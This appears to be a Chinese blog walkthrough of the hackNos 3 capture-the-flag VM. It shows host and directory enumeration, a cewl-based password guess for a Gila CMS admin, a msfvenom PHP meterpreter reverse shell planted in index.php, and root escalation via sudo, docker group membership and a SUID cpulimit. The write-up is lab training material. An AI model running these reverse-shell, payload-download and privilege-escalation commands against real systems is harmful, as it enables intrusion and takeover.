难度:中等
靶机发布日期:2019年12月14日
靶机描述:Difficulty: Intermediate
Flag: 2 Flag first user And the second root
Learning: Web Application | Enumeration | Privilege Escalation
Web-site: www.hacknos.com
Contact-us : @rahul_gehlaut
This may work better with VirtualBox rather than VMware
博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]
工具、知识点和漏洞
- nmap
- gobuster
- cewl
- msfvenom
- metasploit
- docker提权
- cpulimit提权
0x00、信息收集
靶机IP:192.168.43.236
nmap -sn 192.168.43.0/24
端口和服务
nmap -sS -A -T5 -p- 192.168.43.236
页面、目录枚举
gobuster dir -u http://192.168.43.236/ -w ~/Desktop/SecLists/Discovery/Web-Content/raft-large-directories.txt -x .php,.zip,.txt,.html
http://192.168.43.236/scripts/
http://192.168.43.236/scripts/api_ticket_create.php
http://192.168.43.236/scripts/automail.php
http://192.168.43.236/scripts/rcron.php
访问首页,得到一个提示,You need extra WebSec
,访问WebSec
无果,随后尝试访问websec
继续对websec
进行目录页面枚举,发现/websec/admin
,访问/admin
后在title
处发现Gila CMS
的字样,搜索引擎搜索后确认是一个开源的CMS。
首先使用搜索引擎检索一下Gila CMS 1.9.1
有没有什么可利用的漏洞,找到以下两个漏洞:
LFI漏洞需要登录后台,XSS的不知道怎么利用……
所以接下来的思路就是用账号密码登录后台。从已有的信息来看,用户名很可能是首页下方的[email protected]
,先尝试使用常规密码字典进行暴力破解,结果网站设置了登录失败次数限制。
在获取密码这个地方卡了挺久的,当时全网也没有找到Walkthrough,后来才知道需要使用cewl
爬取网页上的内容作为密码。其实这个方法在之前的一个靶机上也用过……
最后使用[email protected]/Securityx
成功登录后台。
0x01、getshell
进入到后台之后需要考虑的问题就是怎么getshell了。一般就是先四处点点,看看都有啥功能,最后发现Content>>File Manager
处可以编辑PHP文件,Content>>Media
处可以上传图片。
这里选择通过PHP反弹shell,步骤如下:
ifconfig命令查看kali的IP
msfvenom生成webshell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.36 LPORT=1234 R > shell.php
!!!
注意:使用时需要去掉最开头的两个字符/*
,不然浏览器访问反弹shell的php网页会看到/*,并且无法反弹shell.
msfvenom默认是无法自动补全的,网上有相关的教程,有需要可自行搜索
msfconsole做好接收反弹的shell的准备
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.36
set lport 1234
run
最开始是通过创建一个新的php页面来反弹shell的,结果保存之后,也没有得到shell。后来直接使用index.php页面反弹shell成功。注意,这里需要在保存内容之后,再点击一次保存才能反弹shell。
获取shell之后要做的第一件事是使用Python获取一个tty,不然有些命令是无法执行的,这一步很关键。
python -c 'import pty; pty.spawn("/bin/bash")' # 有些没有安装Python2,所以需要换成python3 -c
如果你想使用clear
清屏,那么只需要给TERM这个环境变量赋值screen即可
export TERM=screen # 赋值xterm也可以
0x02、权限提升
--------------------------------------------------------------Begin 套话分割线 Begin--------------------------------------------------------------
关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py、LinEnum.sh.
如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux
先在kali上开启HTTP服务
python -m SimpleHTTPServer 65534
使用wget下载linuxprivchecker.py脚本到靶机的tmp目录
因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的
cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py
为了便于查看收集到的信息,我将结果输出到report.txt文本中,之后使用less查看
python linuxprivchecker.py > report.txt
less report.txt
靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。
-------------------------------------------------------------- End 套话分割线 End --------------------------------------------------------------
在/home/blackdevil
目录下得到user的flag
查找sudo权限命令,发现了/not/easy/What/are/you/looking
sudo -l
随后发现没什么用……想想这个可能只是作者想说“没这么简单”
SUID权限可执行文件,发现一个之前没有见过的cpulimit
。到https://gtfobins.github.io/gtfobins/
上搜了一下,发现可以通过cpulimit -l 100 -f /bin/sh
得到一个shell,但是我试了一下发现只能得到www-data的shell。
cpulimit是一款用于控制CPU使用率的工具。参数
-f
可执行命令。
find / -perm -u=s -type f 2>/dev/null
常见的SUID提权可执行文件
- nmap
- vim
- less
- more
- nano
- cp
- mv
- find
- wget
- bash
当前用户可写文件,发现一堆,但是极大多数都是没用的,所以我先把结果输出到文本文件,然后使用grep加上关键字去筛选,筛选完之后就剩下/var/www/html
目录下的内容了。由于之前已经查看过该目录下的文件了,所以这里没有再次查看。
find / -writable -type f 2>/dev/null >/tmp/report.txt
grep -Ev '/proc|/sys' /tmp/report.txt
查看计划任务,无。
cat /etc/crontab
上脚本LinEnum.sh跑一下,发现blackdevil属于docker用户组,后面也许可以用docker提权
尝试了一下mysql未授权访问,结果提示没有权限。
在/var/www/html
发现了upload.php,打开一看是个反弹shell的马儿……
到这里就卡住了,不知道接下来怎么搞了。看了一下靶机作者的Walkthrough,发现突破口在/var/local/database
。
在线解码http://www.spammimic.com/spreadsheet.php?action=decode,得到blacKdevil
用户密码Security@x@
。这里也存在猜测的性质,因为没有明确的线索告诉我们这个就是blacKdevil的密码。
提权方式一
切换到blackdevil用户,执行sudo -l
发现该用户可以执行任意权限的任意命令,直接sudo su -
拿到root用户的权限。
提权方式二
使用docker提权,方法参考:
- https://www.hackingarticles.in/docker-privilege-escalation/
- https://www.freebuf.com/articles/system/170783.html
因为我的靶机网卡配置是Host only
,而上面两篇文章里面提供的方法都是直接从网上下载docker镜像。所以这里我采用了自己创建docker镜像的方式,具体方法参考:https://www.cnblogs.com/cocowool/p/make_your_own_base_docker_image.html。下面是我的操作步骤:
第一步,先从https://alpinelinux.org/downloads/下载一个rootfs,然后再使用wget下载到靶机里面。
第二步,构建Dockerfile
第三步,构建镜像
提升权限
提权方式三
该方式参考lucifer11的博文:https://fdlucifer.github.io/2019-12-31-Os-hackNos-3.html。
还是利用cpulimit
的-f
参数。
通过C语言创建一个提权的可执行文件。这种方法之前的靶机Bottleneck: 1也用过。
在kali上操作:创建C语言程序并编译,开启HTTP服务
wget下载可执行文件到靶机上并通过cpulimit执行
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。扫描下方微信二维码与我交流。我是ins1ght.